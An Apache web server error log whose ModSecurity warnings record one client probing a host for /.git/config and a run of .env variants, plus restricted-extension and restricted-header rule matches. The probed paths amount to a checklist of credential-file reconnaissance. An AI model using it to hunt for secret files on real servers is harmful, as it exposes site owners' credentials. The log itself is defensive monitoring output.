[Fri Jul 17 10:19:03.299256 2026] [security2:error] [pid 2034024:tid 2034024] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.git/config"] [unique_id "alm0P4-0g_VSPeIeFN3OpQAAAAs"]
[Fri Jul 17 10:19:03.721216 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:60972] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:04.060562 2026] [security2:error] [pid 1993572:tid 1993572] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0P4l9vhFBGA6D8l-IXAAAAAw"]
[Fri Jul 17 10:19:04.094365 2026] [security2:error] [pid 2034024:tid 2034024] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0P4-0g_VSPeIeFN3OpQAAAAs"]
[Fri Jul 17 10:19:04.504325 2026] [security2:error] [pid 2068138:tid 2068138] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.local"] [unique_id "alm0QA4g1d3E329BkvVQoAAAAAE"]
[Fri Jul 17 10:19:04.504611 2026] [security2:error] [pid 2068138:tid 2068138] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.local"] [unique_id "alm0QA4g1d3E329BkvVQoAAAAAE"]
[Fri Jul 17 10:19:04.554752 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.production"] [unique_id "alm0QP72foAPmCnen3StIgAAABs"]
[Fri Jul 17 10:19:04.554999 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.production"] [unique_id "alm0QP72foAPmCnen3StIgAAABs"]
[Fri Jul 17 10:19:04.631545 2026] [security2:error] [pid 2065297:tid 2065297] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.development"] [unique_id "alm0QIQPslXM9Iu5soRtkQAAAAg"]
[Fri Jul 17 10:19:04.631857 2026] [security2:error] [pid 2065297:tid 2065297] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.development"] [unique_id "alm0QIQPslXM9Iu5soRtkQAAAAg"]
[Fri Jul 17 10:19:04.845509 2026] [security2:error] [pid 2068138:tid 2068138] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0QA4g1d3E329BkvVQoAAAAAE"]
[Fri Jul 17 10:19:05.165493 2026] [security2:error] [pid 2065297:tid 2065297] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0QIQPslXM9Iu5soRtkQAAAAg"]
[Fri Jul 17 10:19:05.181274 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0QP72foAPmCnen3StIgAAABs"]
[Fri Jul 17 10:19:06.330330 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:06.353868 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:32814] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:06.561016 2026] [security2:error] [pid 2065297:tid 2065297] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "alm0QoQPslXM9Iu5soRtkgAAAAg"]
[Fri Jul 17 10:19:06.561332 2026] [security2:error] [pid 2065297:tid 2065297] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "alm0QoQPslXM9Iu5soRtkgAAAAg"]
[Fri Jul 17 10:19:06.564850 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.test"] [unique_id "alm0Qv72foAPmCnen3StIwAAABs"]
[Fri Jul 17 10:19:06.565136 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.test"] [unique_id "alm0Qv72foAPmCnen3StIwAAABs"]
[Fri Jul 17 10:19:07.041499 2026] [security2:error] [pid 2065297:tid 2065297] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0QoQPslXM9Iu5soRtkgAAAAg"]
[Fri Jul 17 10:19:07.161812 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0Qv72foAPmCnen3StIwAAABs"]
[Fri Jul 17 10:19:07.974625 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_34_no_26_english.pdf"] [unique_id "alm0Q4-0g_VSPeIeFN3OqAAAAAs"]
[Fri Jul 17 10:19:07.974996 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_34_no_26_english.pdf"] [unique_id "alm0Q4-0g_VSPeIeFN3OqAAAAAs"]
[Fri Jul 17 10:19:07.975296 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_34_no_26_english.pdf"] [unique_id "alm0Q4-0g_VSPeIeFN3OqAAAAAs"]
[Fri Jul 17 10:19:08.625559 2026] [security2:error] [pid 2063441:tid 2063441] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "alm0RNKHXJzatLSGO6Iu2AAAABU"]
[Fri Jul 17 10:19:08.625896 2026] [security2:error] [pid 2063441:tid 2063441] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "alm0RNKHXJzatLSGO6Iu2AAAABU"]
[Fri Jul 17 10:19:08.641538 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.example"] [unique_id "alm0RFmuKRtYY-VAGIVYewAAAAk"]
[Fri Jul 17 10:19:08.641823 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.example"] [unique_id "alm0RFmuKRtYY-VAGIVYewAAAAk"]
[Fri Jul 17 10:19:08.642846 2026] [security2:error] [pid 2047046:tid 2047046] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.prod"] [unique_id "alm0RE_0b3nWp8txtSDLfQAAAA0"]
[Fri Jul 17 10:19:08.643030 2026] [security2:error] [pid 2047046:tid 2047046] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.prod"] [unique_id "alm0RE_0b3nWp8txtSDLfQAAAA0"]
[Fri Jul 17 10:19:09.148480 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:09.256366 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0RFmuKRtYY-VAGIVYewAAAAk"]
[Fri Jul 17 10:19:09.360028 2026] [security2:error] [pid 2047046:tid 2047046] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0RE_0b3nWp8txtSDLfQAAAA0"]
[Fri Jul 17 10:19:09.364267 2026] [security2:error] [pid 2063441:tid 2063441] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0RNKHXJzatLSGO6Iu2AAAABU"]
[Fri Jul 17 10:19:10.014513 2026] [security2:error] [pid 2063436:tid 2063436] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_44_no_25-english.pdf"] [unique_id "alm0RjM07o9wrUj-Wv1y9QAAABQ"]
[Fri Jul 17 10:19:10.014852 2026] [security2:error] [pid 2063436:tid 2063436] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_44_no_25-english.pdf"] [unique_id "alm0RjM07o9wrUj-Wv1y9QAAABQ"]
[Fri Jul 17 10:19:10.015158 2026] [security2:error] [pid 2063436:tid 2063436] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_44_no_25-english.pdf"] [unique_id "alm0RjM07o9wrUj-Wv1y9QAAABQ"]
[Fri Jul 17 10:19:10.097883 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:33018] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:10.330742 2026] [security2:error] [pid 2064883:tid 2064883] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "alm0RggUGKrGY1YsJl1wCwAAAAY"]
[Fri Jul 17 10:19:10.330944 2026] [security2:error] [pid 2064883:tid 2064883] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "alm0RggUGKrGY1YsJl1wCwAAAAY"]
[Fri Jul 17 10:19:10.331185 2026] [security2:error] [pid 2064883:tid 2064883] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "alm0RggUGKrGY1YsJl1wCwAAAAY"]
[Fri Jul 17 10:19:10.550632 2026] [security2:error] [pid 2064883:tid 2064883] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0RggUGKrGY1YsJl1wCwAAAAY"]
[Fri Jul 17 10:19:10.571342 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:10.626167 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:10.874035 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:10.877118 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
